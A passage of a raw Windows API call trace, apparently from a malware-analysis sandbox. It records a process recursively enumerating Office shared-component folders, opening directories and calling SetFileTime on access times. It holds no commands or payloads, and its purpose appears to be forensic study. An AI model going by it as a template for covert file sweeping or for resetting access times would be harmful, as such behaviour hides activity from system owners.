ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 1 [0239.348] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 0 [0239.348] GetLastError () returned 0x12 [0239.348] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909988) returned 1 [0239.348] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0239.349] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909a90) returned 1 [0239.349] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0239.349] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="")) returned 1 [0239.349] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0239.349] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0239.457] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0239.458] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0239.458] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x90b868 [0239.458] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x90b868, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x90b868, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0239.458] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90b868) returned 1 [0239.458] NtClose (Handle=0x1b8) returned 0x0 [0239.458] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0239.458] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.458] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0239.458] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0239.458] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.458] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909a90 [0239.458] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0239.458] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.458] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe076d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0239.458] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.458] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.458] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.458] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.458] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.458] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909988 [0239.459] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0239.459] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x909018 [0239.459] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90ab10 [0239.459] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.459] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 1 [0239.459] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.459] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.459] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.459] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.459] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0239.459] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x909038 [0239.459] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x90ac18 [0239.459] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0239.459] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 0 [0239.459] GetLastError () returned 0x12 [0239.459] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0239.459] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0239.459] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.459] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe076d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0239.459] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 1 [0239.459] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 0 [0239.459] GetLastError () returned 0x12 [0239.459] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909a90) returned 1 [0239.460] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0239.460] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909988) returned 1 [0239.460] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0239.460] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="")) returned 0 [0239.460] GetLastError () returned 0x12 [0239.460] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9067d0) returned 1 [0239.460] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0239.460] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9066c8) returned 1 [0239.460] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9061a0) returned 1 [0239.460] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6bc953f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1 [0239.460] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x4d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPHPROXY.DLL", cAlternateFileName="")) returned 1 [0239.460] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPTINPS.DLL", cAlternateFileName="")) returned 1 [0239.460] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xb7ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJ11OD11.DLL", cAlternateFileName="")) returned 1 [0239.460] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xe5d47680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x3fb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJRESC.DLL", cAlternateFileName="")) returned 1 [0239.460] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJRES.DLL", cAlternateFileName="")) returned 1 [0239.460] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a199a00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xdac16060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a199a00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 1 [0239.460] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7339ac00, ftCreationTime.dwHighDateTime=0x1cbdfc2, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7339ac00, ftLastWriteTime.dwHighDateTime=0x1cbdfc2, nFileSizeHigh=0x0, nFileSizeLow=0x90778, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERCONV.DLL", cAlternateFileName="")) returned 1 [0239.460] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded68100, ftCreationTime.dwHighDateTime=0x1cb5970, ftLastAccessTime.dwLowDateTime=0xd68d72e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xded68100, ftLastWriteTime.dwHighDateTime=0x1cb5970, nFileSizeHigh=0x0, nFileSizeLow=0xc6b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="USP10.DLL", cAlternateFileName="")) returned 1 [0239.460] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xc150, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBAJET32.DLL", cAlternateFileName="")) returned 1 [0239.460] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 1 [0239.460] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 0 [0239.460] GetLastError () returned 0x12 [0239.460] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f6850) returned 1 [0239.460] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0239.461] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0239.461] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0239.461] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="")) returned 1 [0239.461] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8f9ac8 [0239.461] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0239.461] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909988 [0239.461] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0239.659] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0239.660] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0239.660] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x90b868 [0239.660] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x90b868, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x90b868, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0239.660] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x90b868) returned 1 [0239.660] NtClose (Handle=0x1b0) returned 0x0 [0239.660] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909988) returned 1 [0239.660] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0239.660] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0239.660] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909988 [0239.660] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0239.660] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x909a90 [0239.660] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0239.812] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0239.812] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x24500, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1 [0239.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0239.812] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0239.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0239.812] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0239.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0239.812] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0239.812] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59922e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x1be700, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSPPCEXT.DLL", cAlternateFileName="")) returned 1 [0239.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0239.812] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0239.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0239.812] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0239.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0239.812] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0239.812] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, 